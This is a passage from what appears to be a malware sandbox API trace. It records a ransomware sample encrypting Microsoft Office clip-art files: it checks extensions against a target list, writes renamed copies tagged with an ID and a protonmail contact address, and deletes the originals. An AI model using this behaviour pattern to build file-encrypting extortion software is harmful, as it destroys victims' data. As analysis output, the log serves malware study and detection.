lpString2=".WMF") returned -1 [0155.215] lstrlenW (lpString=".7z") returned 3 [0155.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0155.215] lstrlenW (lpString=".dbf") returned 4 [0155.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0155.216] lstrlenW (lpString=".1cd") returned 4 [0155.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0155.216] lstrlenW (lpString=".jpg") returned 4 [0155.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.216] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.216] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0155.217] GetLastError () returned 0x0 [0155.217] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1f26, lpOverlapped=0x0) returned 1 [0155.288] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0155.289] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.290] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.290] SetEndOfFile (hFile=0x10d0) returned 1 [0155.290] CloseHandle (hObject=0x10d0) returned 1 [0155.293] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.293] SetEndOfFile (hFile=0x10e8) returned 1 [0155.294] CloseHandle (hObject=0x10e8) returned 1 [0155.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0155.296] lstrlenW (lpString=".doc") returned 4 [0155.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".docx") returned 5 [0155.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.296] lstrlenW (lpString=".pdf") returned 4 [0155.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".xls") returned 4 [0155.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.296] lstrlenW (lpString=".xlsx") returned 5 [0155.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.296] lstrlenW (lpString=".ppt") returned 4 [0155.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0155.296] lstrlenW (lpString=".zip") returned 4 [0155.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.296] lstrlenW (lpString=".rar") returned 4 [0155.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".bz2") returned 4 [0155.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.296] lstrlenW (lpString=".7z") returned 3 [0155.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0155.296] lstrlenW (lpString=".dbf") returned 4 [0155.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0155.297] lstrlenW (lpString=".1cd") returned 4 [0155.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0155.297] lstrlenW (lpString=".jpg") returned 4 [0155.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.297] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.297] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0155.298] GetLastError () returned 0x0 [0155.298] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x94a, lpOverlapped=0x0) returned 1 [0155.459] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x950, lpOverlapped=0x0) returned 1 [0155.460] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.460] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.460] SetEndOfFile (hFile=0x10d0) returned 1 [0155.460] CloseHandle (hObject=0x10d0) returned 1 [0155.465] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.465] SetEndOfFile (hFile=0x10e8) returned 1 [0155.466] CloseHandle (hObject=0x10e8) returned 1 [0155.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0155.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0155.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0155.467] lstrlenW (lpString=".doc") returned 4 [0155.467] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.467] lstrlenW (lpString=".docx") returned 5 [0155.467] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.468] lstrlenW (lpString=".pdf") returned 4 [0155.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.468] lstrlenW (lpString=".xls") returned 4 [0155.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.468] lstrlenW (lpString=".xlsx") returned 5 [0155.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.468] lstrlenW (lpString=".ppt") returned 4 [0155.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0155.468] lstrlenW (lpString=".zip") returned 4 [0155.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.468] lstrlenW (lpString=".rar") returned 4 [0155.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.468] lstrlenW (lpString=".bz2") returned 4 [0155.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.468] lstrlenW (lpString=".7z") returned 3 [0155.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0155.468] lstrlenW (lpString=".dbf") returned 4 [0155.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0155.468] lstrlenW (lpString=".1cd") returned 4 [0155.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0155.468] lstrlenW (lpString=".jpg") returned 4 [0155.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.469] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.469] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0155.470] GetLastError () returned 0x0 [0155.470] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x1370, lpOverlapped=0x0) returned 1 [0155.560] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x1380, lpOverlapped=0x0) returned 1 [0155.564] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.564] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.564] SetEndOfFile (hFile=0x10d0) returned 1 [0155.564] CloseHandle (hObject=0x10d0) returned 1 [0155.569] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.569] SetEndOfFile (hFile=0x10e8) returned 1 [0155.570] CloseHandle (hObject=0x10e8) returned 1 [0155.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0155.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0155.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0155.582] lstrlenW (lpString=".doc") returned 4 [0155.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.582] lstrlenW (lpString=".docx") returned 5 [0155.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.582] lstrlenW (lpString=".pdf") returned 4 [0155.583] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString=".xls") returned 4 [0155.583] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.583] lstrlenW (lpString=".xlsx") returned 5 [0155.583] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.583] lstrlenW (lpString=".ppt") returned 4 [0155.583] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0155.583] lstrlenW (lpString=".zip") returned 4 [0155.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.583] lstrlenW (lpString=".rar") returned 4 [0155.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString=".bz2") returned 4 [0155.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString=".7z") returned 3 [0155.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0155.583] lstrlenW (lpString=".dbf") returned 4 [0155.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0155.583] lstrlenW (lpString=".1cd") returned 4 [0155.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 68 [0155.583] lstrlenW (lpString=".jpg") returned 4 [0155.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.599] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.599] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0155.628] GetLastError () returned 0x0 [0155.628] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x804, lpOverlapped=0x0) returned 1 [0155.632] WriteFile (in: hFile=0x10cc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x810, lpOverlapped=0x0) returned 1 [0155.633] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.633] WriteFile (in: hFile=0x10cc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.633] SetEndOfFile (hFile=0x10cc) returned 1 [0155.634] CloseHandle (hObject=0x10cc) returned 1 [0155.643] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.643] SetEndOfFile (hFile=0x10e8) returned 1 [0155.644] CloseHandle (hObject=0x10e8) returned 1 [0155.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0155.645] lstrlenW (lpString=".doc") returned 4 [0155.645] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.645] lstrlenW (lpString=".docx") returned 5 [0155.645] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.645] lstrlenW (lpString=".pdf") returned 4 [0155.645] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.645] lstrlenW (lpString=".xls") returned 4 [0155.645] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.645] lstrlenW (lpString=".xlsx") returned 5 [0155.645] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.645] lstrlenW (lpString=".ppt") returned 4 [0155.645] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0155.645] lstrlenW (lpString=".zip") returned 4 [0155.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.646] lstrlenW (lpString=".rar") returned 4 [0155.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.646] lstrlenW (lpString=".bz2") returned 4 [0155.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.646] lstrlenW (lpString=".7z") returned 3 [0155.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0155.646] lstrlenW (lpString=".dbf") returned 4 [0155.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0155.646] lstrlenW (lpString=".1cd") returned 4 [0155.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0155.646] lstrlenW (lpString=".jpg") returned 4 [0155.646] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.646] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.646] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0155.647] GetLastError () returned 0x0 [0155.647] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xdc4, lpOverlapped=0x0) returned 1 [0155.703] WriteFile (in: hFile=0x10cc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xdd0, lpOverlapped=0x0) returned 1 [0155.705] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.705] WriteFile (in: hFile=0x10cc, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.705] SetEndOfFile (hFile=0x10cc) returned 1 [0155.706] CloseHandle (hObject=0x10cc) returned 1 [0155.710] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.710] SetEndOfFile (hFile=0x10e8) returned 1 [0155.711] CloseHandle (hObject=0x10e8) returned 1 [0155.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0155.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0155.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0155.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0155.713] lstrlenW (lpString=".doc") returned 4 [0155.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.713] lstrlenW (lpString=".docx") returned 5 [0155.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.713] lstrlenW (lpString=".pdf") returned 4 [0155.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.713] lstrlenW (lpString=".xls") returned 4 [0155.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.713] lstrlenW (lpString=".xlsx") returned 5 [0155.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.713] lstrlenW (lpString=".ppt") returned 4 [0155.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0155.714] lstrlenW (lpString=".zip") returned 4 [0155.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.714] lstrlenW (lpString=".rar") returned 4 [0155.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.714] lstrlenW (lpString=".bz2") returned 4 [0155.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.714] lstrlenW (lpString=".7z") returned 3 [0155.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0155.714] lstrlenW (lpString=".dbf") returned 4 [0155.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0155.714] lstrlenW (lpString=".1cd") returned 4 [0155.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0155.714] lstrlenW (lpString=".jpg") returned 4 [0155.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.715] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.715] SetFilePointerEx (in: hFile=0x10e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10cc [0155.715] GetLastError () returned 0x0 [0155.715] ReadFile (in: hFile=0x10e8, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x68c, 